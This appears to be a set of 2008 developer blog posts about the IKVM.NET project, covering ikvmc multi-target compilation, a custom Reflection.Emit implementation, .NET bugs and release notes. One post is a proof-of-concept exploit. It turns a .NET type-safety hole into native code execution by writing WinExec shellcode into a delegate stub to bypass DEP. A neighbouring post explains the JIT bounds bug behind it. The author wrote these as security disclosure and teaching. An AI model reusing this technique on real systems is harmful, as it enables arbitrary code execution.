I've been working on making ikvmc support "multi target" mode for a while now. Last week I used this mode to compile the OpenJDK classes into 743 different assemblies (one per package) . I then tried to use NDepend to dig through the dependencies, but it turns out that 743 assemblies is a bit too much to handle (NDepend handled it resonably well, but the dependency graph was way too large to be useful). So I started moving some obvious stuff together. The result was this NDepend report. Still a lot of data and a lot of dependencies, but some patterns are starting to emerge.

Here's my preliminary view of how things could be split:

IKVM.OpenJDK.Core.dll 5 MB
IKVM.OpenJDK.Security.dll 3 MB
IKVM.OpenJDK.Util.dll 1 MB
IKVM.OpenJDK.Xml.dll 8 MB
IKVM.OpenJDK.SwingAWT.dll 3 MB
IKVM.OpenJDK.Charsets.dll 5 MB
IKVM.OpenJDK.Corba.dll 2 MB
IKVM.OpenJDK.Management.dll      2 MB
IKVM.OpenJDK.Misc.dll 3 MB

(The sizes are only approximate.)

I had originally hoped to make IKVM.OpenJDK.Core.dll smaller by keeping java.util, java.net and java.io out of it, but it looks like you won't be able to run anything non-trivial without requiring classes from these packages, so it makes more sense to put them into the core assembly. The IKVM.OpenJDK.Security.dll and  IKVM.OpenJDK.Util.dll assemblies contain other util and security related packages that shouldn't be needed as often.

It is possible to split packages across assemblies (e.g. java.awt.AWTPermission will be in IKVM.OpenJDK.Core.dll because java.lang.SecurityManager depends on it), but given the potential for confusion my current thinking is that it is probably best to only move individual classes into Core should it be necessary (because, realistically, you can't develop without having a reference to Core you're less likely to be confused when trying to locate the class).

To avoid confusion or expectations that are too high: I haven't yet built the runtime infrastructure to support this. So while I can compile the class library into all these parts, the runtime won't actually be able to work correctly, because it still expects all the boot class loader classes in a single assembly.

As always, feedback on the proposed split is very welcome.

NDepend

I really like NDepend's ability to show the dependencies in different ways and the interactive dependency matrix that allows you to drill down into a dependency to see exactly where it comes from. Beyond dependency analysis it also has a power SQL like query language to allows use to query dependencies and compute all the code metrics you can come up with. It also includes a number of code metrics out of the box, but those aren't really my cup of tea, so I can't comment how useful they are.

One other small but really nice thing about it is that you can run it without installing. IMO this is very nice compared with installers that do who knows what to your system (and require administrator access).

An evaluation copy can be downloaded from their website.

Full disclosure: I was given a free copy of NDepend Professional Edition.

12/8/2008 6:51:28 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 01, 2008

New Development Snapshot

More ikvmc testing revealed a couple of IKVM.Reflection.Emit bugs and also some bugs that have been lurking in ikvmc for a long time, that only show up under fairly uncommon scenarios when lots of dependencies are missing (and hence the resulting assembly has little chance of working anyway). The fixes are small and relatively low risk, but I'm not sure whether it is worthwhile to back port them to 0.36 and 0.38. Feedback on this is appreciated.

Changes:

  • Added support for SpecialNameAttribute and TypeForwardedToAttribute pseudo custom attributes to IKVM.Reflection.Emit.
  • Fixed IKVM.Reflection.Emit relocation table bug.
  • Fixed IKVM.Reflection.Emit TypeDefOrRef and HasCustomAttribute column size calculations.
  • A couple of ikvmc fixes in dealing with missing classes. This fixes #2351524.
  • Fixed regression introduced in 0.39.3240 that caused failure when reflection triggered a call to a static initializer on a dynamically loaded class.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3257.zip

12/1/2008 7:16:54 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Tuesday, November 25, 2008

Pseudo Custom Attributes

One of the really cool things about the CLR, when it was introduced, was the notion of custom attributes. Custom attributes provide an extensible way to add custom metadata. However, since .NET compilers virtually have to support custom attributes, it's tempting to reuse this capability for specifying non-custom metadata. It isn't efficient to encode all metadata in a generic way, hence the pseudo custom attributes were born. From most compilers they appear as normal custom attributes, but the compiler stores them in the metadata in a way that is specific to each pseudo custom attribute.

To recap, my definition of pseudo custom attributes is: Any custom attribute that modifies the metadata, but isn't stored in the CustomAttribute metadata table.

While implementing ikvmc (and later IKVM.Reflection.Emit) I looked for a definitive list of pseudo custom attributes, but there doesn't appear to be one, so I thought I'd make one:

 

ECMA CLI

IKVM.Reflection.Emit

System.Reflection.Emit

AssemblyAlgorithmIdAttribute

Yes*

No

No

AssemblyCultureAttribute

No

No

No

AssemblyFlagsAttribute

Yes*

No

No

AssemblyKeyFileAttribute

No

No

No

AssemblyKeyNameAttribute

No

No

No

AssemblyVersionAttribute

No

No

No

CodeAccessSecurityAttribute**

Yes

No

No

ComImportAttribute

No

Yes

Yes

DefaultParameterValueAttribute

No

Yes

No

DllImportAttribute

Yes

Yes

Yes

FieldOffsetAttribute

Yes

Yes

Yes

InAttribute

Yes

Yes

Yes

MarshalAsAttribute

Yes

Yes

Yes

MethodImplAttribute

Yes

Yes

Yes

NonSerializedAttribute

No

Yes

Yes

OptionalAttribute

No

Yes

Yes

OutAttribute

Yes

Yes

Yes

PreserveSigAttribute

No

Yes

Yes

SerializableAttribute

No***

Yes

Yes

SpecialNameAttribute

No

Yes****

Yes

StructLayoutAttribute

Yes

Yes

Yes

TypeForwardedToAttribute

No

Yes****

No

* Reserved only.
** Its subclasses.
*** Not part of the spec, but the spec does mention it.
**** Not in most recent development snapshot, but code is in cvs.

(System.Reflection.Emit values based on .NET 3.5 SP1)

For completeness and clarity, here is a list of non-pseudo custom attributes that are sometimes mistakenly referred to as pseudo custom attributes:

AllowPartiallyTrustedCallersAttribute

Understood by the runtime, but stored normally.

ClassInterfaceAttribute

Understood by the runtime and compiler, but stored normally.

ComCompatibleVersionAttribute

Understood by the runtime (?) and compiler, but stored normally.

DebuggableAttribute

Understood by the runtime, but stored normally.

GuidAttribute

Understood by the runtime and compiler, but stored normally.

InterfaceTypeAttribute

Understood by the runtime and compiler, but stored normally.

SecurityCriticalAttribute

Understood by the runtime, but stored normally.

SecurityTransparentAttribute

Understood by the runtime, but stored normally.

SecurityTreatAsSafeAttribute

Understood by the runtime, but stored normally.

TypeLibVersionAttribute

Understood by the compiler, but stored normally.

 

Clarifications, corrections and additions to both lists are very much appreciated.

Update: Removed incorrect claim that the runtime only supports the DebuggableAttribute (bool,bool) constructor. Thanks to Kevin M. Owen for the correction.

11/25/2008 7:04:36 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 19, 2008

Multi Target Support

I've now enabled "multi target" support. This means that you can compile multiple assemblies at once. One of the advantages this has is that it makes dealing with circular dependencies much easier, but even if there aren't any circular dependencies, it can make building much easier because you don't have to do any dependency analysis.

As an example I compiled the jars from the JBoss lib directory:

ikvmc -target:library { commons-codec.jar } { commons-httpclient.jar } { commons-logging.jar } { concurrent.jar } { getopt.jar } { jboss-common.jar } { jboss-jmx.jar } { jboss-system.jar } { jboss-xml-binding.jar } { log4j-boot.jar }

The curly braces define the targets. This is all it takes to compile these jars into seperate assemblies that automatically reference eachother, as required.

Using NDepend (which Patrick Smacchia kindly gave me a free copy of) you can easily graph the dependencies of the resulting assemblies:

In this case there aren't any cycles, but had there been, it would have made no differences.

The multi target feature is by no means done. I want to add a -sharedclassloader option to enable multiple assemblies to share a single Java class loader. I'm also considering some options to select which classes/packages go in which assembly. This would be helpful for splitting the core class library into multiple assemblies.

Changes:

  • Added support to ikvmstub for automatically exporting non-vector array types.
  • Implemented/fixed support for pointers, by ref and non-vector arrays in IKVM.Reflection.Emit.
  • Fixed pointer detection to work for types with multiple indirection levels.
  • Changed proxy stub name mangling to work around ildasm bug.
  • Fixed IKVM.Reflection.Emit to not write token of FAULT pseudo exception that is used as a marker for fault blocks.
  • Fixed class loading to take ClassLoader lock.
  • Changed ikvmc not to generate warning when it loads ikvmstub generated classes.
  • Removed our version of System.Runtime.CompilerServices.ExtensionAttribute and instead add System.Core.jar to the compilation, this will allow us to reference the real ExtensionAttribute when it is available and yet the build will still work (albeit with a warning and without the ExtensionAttribute) when it is not available (i.e. when building on .NET 2.0).
  • Did some clean up and restructuring in IKVM.Reflection.Emit.
  • Fixed sorting of InterfaceImpl table in IKVM.Reflection.Emit.
  • Removed hard coded public keys from JniInterface.cs and Configuration.java.
  • Changed build process so that version number for all assemblies only has to be specified in CommonAssemblyInfo.cs.
  • Enabled multi target support.
  • Fixed typo in IKVM.Reflection.Emit that caused assembly minor version to be set to major version.
  • Added assembly version to ikvmstub.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3245.zip

11/19/2008 7:46:06 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Monday, November 17, 2008

.NET Array Weirdness

One of the lesser known features of the .NET runtime is the support for multidimensional and/or non-zero-based arrays. The typical arrays that you use (and that are the same as the arrays in Java) are called vectors in the CLI specification, but unfortunately the non-vector arrays don't have a specific name (they are simply called arrays in the CLI specification).

In C# you can easily create a non-vector array:

int[,] arr1 = new int[4, 4]

This creates a two dimensional array of integers with 16 elements. This array is zero based. If you want to create a non-zero-based array, you have to use the API, because C# doesn't directly support that:

int[,] arr2 = (int[,])Array.CreateInstance(typeof(int), new[] { 4, 4 }, new[] { 1, 1 });

This also creates a two dimensional array of integers with 16 elements, but in this case the indexes run from 1 through 5.

So far, so good. Now let's look at how things look at the IL level. If you use ildasm to look at the first C# based instantation you'll see:

ldc.i4.1
ldc.i4.1
newobj instance void int32[0...,0...]::.ctor(int32, int32)

Most of this looks straightforward if you're familiar with IL, except for the [0...,0...] part. It looks like the lower bounds are part of the type, but a simple experiment shows that this is not the case:

Console.WriteLine(arr1.GetType() == arr2.GetType());

This prints out True. This implies that the lower bounds are not part of the type (and the CLI specification confirms this). So why are they part of the signature? I don't know for sure, but it does have an interesting consequence. You can overload methods based on this:

.assembly extern mscorlib { }
.assembly Test { }
.module Test.exe

.class public Program
{
  .method public static void Foo(int32[0...,0...] foo)
  {
    ret
  }

  .method public static void Foo(int32[1...,1...] foo)
  {
    ret
  }

  .method private static void Main()
  {
    .entrypoint
    ldc.i4.1
    ldc.i4.1
    newobj instance void int32[0...,0...]::.ctor(int32, int32)
    call void Program::Foo(int32[0...,0...])
    ret
  }
}

This is a valid and verifiable application. Unfortunately, using the  .NET reflection API it is impossible to see the difference in signatures between the two Foo methods.

This limitation in reflection means that code compiled with the new IKVM.Reflection.Emit based ikvmc won't be able to call methods that have non-zero-based array parameters. It is also impossible to override these methods, but that was already the case with the previous System.Reflection.Emit based implementation as well.

Finally, in the above text I talk about the lower bounds, but the same thing applies to the upper bounds of the array.

11/17/2008 7:08:46 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, November 14, 2008

Introducing IKVM.Reflection.Emit

Over the past two months I've been working on reimplementing a large portion of the Reflection.Emit API from scratch. After finally growing tired of the System.Reflection.Emit bugs and limitations and not finding Mono.Cecil satisfactory either, I decided to build my own implementation.

I started out with these design goals:

  • API compatible with System.Reflection.Emit (as much as possible).
  • Implement only the Emit part and be compatible with System.Reflection.
  • Only implement functionality required by ikvmc, but not implemented functionality shouldn't silently fail (i.e. it should throw a NotSupportedException or NotImplementedException). This also means that the API is mostly write-only.
  • Efficient implementation, optimized for ikvmc specific scenarios.

I think I've met or exceeded all of the design goals. Without doing any significant performance work on my Ref.Emit implementation (other than the design), ikvmc became so much faster that it is rather emberassing for the Microsoft System.Reflection.Emit implementation.

I've only had to make a couple of minor changes to the ikvmc sources (apart from changing using System.Reflection.Emit; to using IKVM.Reflection.Emit; in every file) to account for the fact that IKVM.Reflection.Emit.ModuleBuilder and IKVM.Reflection.Emit.AssemblyBuilder unfortunately cannot extend System.Reflection.Module and System.Reflection.Assembly. However, it looks like this is fixed in the .NET 4.0 CTP.

Here are some random statistics about compiling IKVM.OpenJDK.ClassLibrary.dll on .NET 2.0 SP2 x64:

  System.Reflection.Emit     IKVM.Reflection.Emit  
File size 31,645,696 30,480,896   bytes
CPU time used 272 35   seconds
Peak virtual memory 1,433,399,296 1,035,018,240   bytes
Generation 0 GCs 770 896  
Generation 1 GCs 201 240  
Generation 2 GCs 11 8  

(The huge memory usage is not because it actually needs that much memory, but simply the result of the fact that garbage collection is more efficient if you have more memory available and that my system had about 1.5GB of free memory while running these tests.)

The smaller file size is because System.Reflection.Emit always uses fat method headers and IKVM.Reflection.Emit uses tiny method headers whenever possible.

There is still some work left to do, I've only spent limited time on debugging support and there is no support for Mono's .mdb format yet. I also haven't done any testing on Mono yet.

BTW, thanks to Sebastien Pouliot for code I lifted from Mono to parse strong name CAPI key blobs.

Other changes in this snapshot:

  • Dropped support for Visual Studio 2005.
  • Added error message when map.xml references non-existing constructor.
  • Added more statistics to ikvmc -time option output.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3240.zip

11/14/2008 10:01:50 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 12, 2008

IKVM 0.38 Release Candidate 2

A codegen bug was found (not a regression, so there will be a 0.36 update as well) so here's another release candidate.

Changes:

  • Changed version to 0.38.0.2.
  • Fixed openjdk.build BOM issue on Linux.
  • Fixed jsr verifier bug that caused incorrect codegen under very specific circumstances (thanks to Brian Schwallier for tracking down a repro).

Binaries available here: ikvmbin-0.38.0.2.zip
Sources (+ binaries): Sources: ikvm-0.38.0.2.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

11/12/2008 6:13:29 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, November 05, 2008

IKVM 0.36 Update 2 Release Candidate 2

As announced when 0.36 was released, I will periodically release updates to 0.36 as long as there is enough interest in .NET 1.1 support.

This is the second release candidate of the second update.

Changes (all are back ported fixes):

  • Changed version to 0.36.0.13.
  • Fixed ikvmc not to open the key file for write access.
  • Added more efficient float/double to/from int/long bits converters.
  • Fixed libikvm-native.so build to include reference to gmodule-2.0 library.
  • Fixed ikvmc not to open the key file for write access.
  • Fixed Graphics2D.rotate() to convert rotation angle from radians (Java) to degrees (.NET).
  • Applied awt patch #1979656 by Daniel Wilson.
  • Fixed three String bugs found by OpenJDK string tests.
  • Fixed ldc <class> where <class> is a ghost array.
  • Fixed bug in instanceof <class> where <class> is a Serializable[].
  • Removed incorrect DataFormatException thrown in java.util.zip.InflaterHuffmanTree.
  • Fixed #2001802 contributed by Andy Malakov.
  • Fixed #2001799.
  • Fixed #2006953.
  • Made finalize() and clone() methods in cli.System.Object and cli.System.Exception final.

Binaries available here: ikvmbin-0.36.0.13.zip
Sources (+ binaries): ikvm-0.36.0.13.zip

11/5/2008 10:08:46 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, November 04, 2008

IKVM 0.38 Release Candidate 1

A couple of minor fixes.

Changes since RC0:

  • Updated version to 0.38.0.1
  • Hide nested types generated by callerID support
  • Made finalize() and clone() methods in cli.System.Object and cli.System.Exception final
  • Fixed reflection to work on .NET 2.0 RTM

Note that even though I fixed reflection to work on .NET 2.0 RTM, it still isn't a supported platform, I strongly recommend .NET 2.0 SP1 or higher.

Binaries available here: ikvmbin-0.38.0.1.zip

Sources: ikvm-0.38.0.1.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

11/4/2008 6:36:51 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Friday, September 26, 2008

More Reflection.Emit Brokenness

Pardon me if I sound a little bitter today, but I just wasted almost a full day trying to work around this bug only to be stopped by yet another bug that makes it impossible to generate two mutually dependent assemblies with Reflection.Emit.

Also, while debugging I noticed another mind bogglingly stupid bug in the System.Reflection.Assembly source:

public override int GetHashCode() { return base.GetHashCode(); }

Why would you want to do that? Oh, of course! It's to get rid of a compiler warning... If you override Equals() you should also override GetHashCode(), BUT NOT LIKE THIS.

Here's small program that demonstrates the problem:

using System;
using System.Reflection;
using System.Reflection.Emit;

class Program
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A"),
                            AssemblyBuilderAccess.Run);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A.dll");
    TypeBuilder tb1 = mod1.DefineType("T");
    Type type = tb1.CreateType();
    Console.WriteLine(ab1.Equals(type.Assembly));
    Console.WriteLine(ab1.GetHashCode() == type.Assembly.GetHashCode());
  }
}

This prints out:

True
False

That clearly violates the Object.GetHashCode() contract.

9/26/2008 8:47:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Wednesday, September 24, 2008

IKVM 0.38 Release Candidate 0

As with previous release candidates, this release includes strong named binaries and is considered to be (nearly) ready for production use. Please test this version and give feedback as soon as possible.

Changes since previous snapshot:

  • Changed version to 0.38.0.0 and strong named binaries.
  • Added missing HTMLEntities.res resource.
  • Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod invokes a method or gets/sets a field.

Binaries available here: ikvmbin-0.38.0.0.zip

Sources: ikvm-0.38.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

9/24/2008 8:07:13 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, September 22, 2008

Running JaC64

JaC64 is a open source Commodore 64 emulator written in Java. I have many fond childhood memories of my C64, so I spent a little time fixing a couple of AWT issues and hacking together some sound support for ikvm. The sound patch is here, but it won't go in because it is essentially hard coded for JaC64 and even then it doesn't really work, because it turns out that .NET has no decent sound API. The only API available is SoundPlayer, but it has an unacceptable latency (and can only play one sample at a time, so you can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then plays these back to back. This means that you hear sound, but it is very choppy.

Two obligatory screen shots, first the emulator application and second just the C64 screen of my favorite game:

9/22/2008 7:19:53 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

New Development Snapshot

This is the final development snapshot before the first 0.38 release candidate.

Changes since previous development snapshot:

  • Updated to OpenJDK 6 b12.
  • Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.
  • Removed hardcoded PublicKey from build process.
  • Fixed ikvmc regression that caused using .NET generic types not to work.
  • Added support to ikvmc for recognizing "access" bridge methods, so that they aren't hidden from other .NET code.
  • Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but building on Mono 2.0 is not supported due an open bug.

Binaries available here: ikvmbin-0.37.3187.zip

The OpenJDK 6 b12 (re)source file needed to build from source are available here: openjdk6-b12-stripped.zip

9/22/2008 6:51:27 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Saturday, September 13, 2008

Writing a .NET Security Exploit PoC

Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:

class Union1
{
  internal volatile int i;
  internal volatile int j;
}

class Union2
{
  internal volatile object o;
  internal volatile int[] arr;
}

Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:

[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
  [FieldOffset(0)]
  internal Union1 u1;
  [FieldOffset(0)]
  internal Union2 u2;
}

static Union1 TypeSystemHole(Union2 u2)
{
  // NOT ACTUALLY A SECURITY HOLE!
  // You need full trust to execute this code.
  UnsafeUnion uu = new UnsafeUnion();
  uu.u2 = u2;
  return uu.u1;
}

Now for the interesting bit, getting some x86 code to execute:

Union1 u1;
Union2 u2 = new Union2();
u1 = TypeSystemHole(u2);

// u1 and u2 now reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)

ThreadStart del = new ThreadStart(DummyMethod);

// A delegate provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.


u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;

// Make the delegate object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.

// The x86 code we're creating is:
//
// 6A 05            push 5
// 68 xx xx xx xx   push offset string "calc.exe"
// B8 xx xx xx xx   mov eax,<address of kernel32!WinExec>
// FF D0            call eax
// C3               ret
//

MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);

// Now that we've created the code, copy it into the delegate
// stub memory area.


byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
  u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}

// Invoke the delegate, which will result in running our
// code, instead of the delegate stub.

del();

The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.

The full source is available here: TypeSafetyExploitPoC.cs

Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.

9/13/2008 9:03:01 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Friday, September 12, 2008

Critical .NET Security Vulnerability

While browsing the Rotor sources yesterday, I noticed something that looked like a potential security issue. After writing some test code I confirmed that it was indeed a problem. Like last time, it's a bug that allows you to compromise type safety.

Previously I promised to write more about the issue after the fix was released, but I never got around to it, partly because security issues aren't very exciting anymore after they've been fixed.

BTW, my "no Microsoft bug filing policy" doesn't apply to security issues, so I've notified the Microsoft Security Response Center of the issue.

Anyway, I thought this would be a good opportunity to look at the previously fixed issue and demonstrate how a type safety hole leads to arbitrary code execution and makes it trivial to bypass both DEP and ASLR.

Discovering the Bug

This is the hard part. Contrary to popular belief, Microsoft writes pretty secure code nowadays. I found the issue because an IKVM user reported a problem with some code that worked with JIT optimizations disabled, but mysteriously failed when JIT optimizations were on. Debugging this issue led to misbehaving code similar to this:

    if (arr1[index * 3 + 5] != null)
    {
      Union1 u1 = arr1[index * 3 + 5];

Due to a JIT bug the second array indexing expression was incorrectly applied, resulting in the ability to read a value outside of the array bounds.

Type Safety

Due to the predictability of memory allocation in managed code, it is easy to allocate two arrays of different types and then use the above bug to access an element from one array through a reference to the other array. This gives you the ability to perform a cast that otherwise wouldn't be allowed.

Once you have this ability, it can be easily abused. For example, you could create a class like this:

class StringHack
{
    public int arrayLength;
    public int stringLength;
    public char ch1;
    public char ch2;
}

If you now obtain a reference typed as StringHack to a real string object, you have the ability to alter the contents of the string (well, the first two characters in this example).

However, it's not just the .NET access restrictions that can be bypassed, you can also use this trick to execute arbitrary machine code.

Next time we'll look at a PoC that, given a type safety hole, will allow you to call WinExec to start any application from partially trusted .NET code.

9/12/2008 9:41:53 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, September 01, 2008

New Development Snapshot

Lots of cleanup and restructuring. Removed most .NET reflection (almost everything is now based on DynamicMethod) and improved support for running in partial trust.

Changes since previous development snapshot:

  • Switched almost all code to using generic collections.
  • Removed our own tracking of LocalBuilders, because on .NET 2.0 LocalBuilder has a LocalIndex property.
  • Added multi target support to ikvmc (although it is currently disabled, because of a showstopper .NET Ref.Emit bug).
  • Replaced usage of BootstrapClassLoader with actual class loader in static compiler.
  • Moved generated exception mapping code from ExceptionHelper to Throwable and made it slightly less hacky.
  • Replaced mapxml Hashtable with three statically typed Dictionaries.
  • Eleminated some (CompilerClassLoader) downcasts by making the type of the DynamicTypeWrapper.classLoader field depend on whether we're compiling the runtime or ikvmc.
  • Removed unused per-type class caching.
  • Added helper methods to no longer require reflection to instantiate DirectByteBuffer from JNI.
  • Bug fix: dynamic (for unloadable classes) getfield/getstatic/invoke* bytecode compilation couldn't handle ghost types.
  • Changed dynamic (for unloadable classes) bytecode handling to use Java reflection.
  • Changed JNI reflection to be based on Java reflection (where possible).
  • Removed "slow" reflection.
  • Removed MethodWrapper.Invoke().
  • Removed FieldWrapper.GetValue()/SetValue().
  • Added ICustomInvoke for the few MethodWrappers that still require custom reflection invocation.
  • Removed class init workaround that is no longer required since .NET 2.0 SP1.
  • Removed GNU Classpath specific code that I missed.
  • Switched from obsolete ConfigurationSettings.AppSettings to new ConfigurationManager.AppSettings.
  • Fixed VFS root directory entry.
  • Removed no longer needed VM.isBooted() check (VM.isBooted() always returns true now on IKVM).
  • Forked java/nio/Bits.java to remove unsafe code from static initializer.
  • Moved all creations of DynamicMethod to util method that uniformly handles the fallback to the new .NET 2.0 SP1 constructor that support partial trust.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and Mono 2.0.

Binaries available here: ikvmbin-0.37.3166.zip

9/1/2008 9:04:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [4]

Wednesday, August 27, 2008

Cecil Conclusion

I finished the Cecil.Reflection.Emit prototype of ikvmc. As I, unfortunately, expected the performance isn't acceptable. Compiling tools.jar takes approx. 18 seconds with the Ref.Emit backend, but takes 51 seconds with the Cecil based backend.

Now, I'm not knocking Mono.Cecil because of its performance, because I think the design was based on making it easy to load an assembly, tweak it and write it back out again. For that application the design makes a lot of sense, but it is less efficient for a write only task.

However, I did have to conclude that Mono.Cecil is not mature enough for usage with ikvmc. I had to write my own custom attribute encoder to work around Mono.Cecil's brokenness and I found that it doesn't properly support custom modifiers.

What Next

Given that neither Ref.Emit nor Cecil look like viable short term strategies for multi target support in ikvmc, I think it makes sense to start working on the 0.38 release now and put off the splitting of IKVM.OpenJDK.ClassLibrary.dll until the next release. I know this will disappoint some people, especially since it grew by about 4.7MB again (mostly due to the inclusion of the charsets.jar character encodings).

I don't have a timetable, but don't expect the release tomorrow. It'll be a while. First OpenJDK6 b12 needs to be released (and integrated) and then a whole lot of testing needs to be done.

8/27/2008 6:11:46 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, August 12, 2008

Using Mono.Cecil instead of Reflection.Emit in IKVMC

I prototyped a Reflection.Emit layer for Mono.Cecil and integrated it with ikvmc. Preliminary results:

  • It looks like it is feasible to replace "using System.Reflection.Emit;" with "using Cecil.Reflection.Emit;" and only require a handful of "#if CECIL"s sprinkled through the code.
  • Mono.Cecil is lacking some functionality required by ikvmc (global methods, multi module assemblies, support for calli signatures [AFAICT], support for byte[] arguments in custom attributes)
  • Given the architecture of Mono.Cecil I'm worried that it will perform worse than Reflection.Emit (which, on .NET, is already pretty slow).

I'm pretty sure there are more issues waiting to be discovered, but these I found while trying to compile a relatively simple .class file. I got it to generate a verifiable assembly using the following ikvmc command:

        ikvmc test.class -target:library -nostacktraceinfo

If you want to play along, the Cecil.Reflection.Emit layer plus the ikvmc patch (relative to current cvs) can be found here.

At this point I'm not sure what's next. I don't feel working on Mono.Cecil is the best use of my time. I may have to put the multi assembly feature of ikvmc on the back burner (which also means no progress in splitting up IKVM.OpenJDK.ClassLibrary.dll).

On a more possitive note, doing this work made me realize that ConstructorBuilder is a useless annoyance and I can simplify some ikvm code by only using MethodBuilder (it turns out that DefineMethod can also be used to define a constructor).

Well, I will be able to do this once Mono's DefineMethod is fixed so that it notices that a constructor is created and not insert another default constructor.

Update: Zoltan already fixed the Mono bug. Thanks!

Update 2: Jb Evain pointed out that global methods are supported (simply add the methods to the <Module> type) and that calli is supported via Mono.Cecil.CallSite.

8/12/2008 5:39:21 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, August 10, 2008

Reflection.Emit Bug

I started working on support for compiling multiple assemblies at once with ikvmc (to support mutual depedencies) and ran into a rather annoying bug:

using System;
using System.Reflection;
using System.Reflection.Emit;

class Program
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A1"), AssemblyBuilderAccess.Save);
    AssemblyBuilder ab2 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A2"), AssemblyBuilderAccess.Save);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A1");
    ModuleBuilder mod2 = ab2.DefineDynamicModule("A2");

    TypeBuilder tb1 = mod1.DefineType("T1");
    TypeBuilder tb2 = mod2.DefineType("T2");

    ConstructorBuilder cb1 = tb1.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, null);
    ConstructorBuilder cb2 = tb2.DefineConstructor(MethodAttributes.Public, CallingConventions.Standard, new Type[] { tb1 });

    ILGenerator ilgen = cb1.GetILGenerator();

    ilgen.Emit(OpCodes.Ldnull);
    ilgen.Emit(OpCodes.Newobj, cb2);
  }
}

Running this on .NET 2.0 SP1 results in:

Unhandled Exception: System.Runtime.InteropServices.COMException (0x80131130): Record not found on lookup. (Exception from HRESULT: 0x80131130)
   at System.Reflection.Module._InternalGetMemberRef(Module refedModule, Int32 tr, Int32 defToken)
   at System.Reflection.Emit.ModuleBuilder.InternalGetConstructorToken(ConstructorInfo con, Boolean usingRef)
   at System.Reflection.Emit.ILGenerator.GetMethodToken(MethodBase method, Type[] optionalParameterTypes)
   at System.Reflection.Emit.ILGenerator.Emit(OpCode opcode, ConstructorInfo con)
   at Program.Main() in c:\vsp\RefEmitBugRepro\Program.cs:line 23

The "no Microsoft bug filing" policy is still in effect, so I won't be filing a bug with Microsoft for this.

Workaround

For the scenario above there is a (painful) workaround. You can create your own ConstructorInfo subclass that represents the constructor you want to call, if you do that ILGenerator.Emit() will end up in a different code path to lookup the token and that code path does work.

I haven't tried it, but I assume this workaround also works for methods and fields.

I think that for ikvmc I won't be using this workaround, but instead I'll treat this as a good reason to finally start looking into using Mono.Cecil instead of Reflection.Emit.

8/10/2008 10:02:40 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, August 07, 2008

New Development Snapshot

Time for another snapshot.

Changes since previous development snapshot:

  • Removed support for building with GNU Classpath class library.
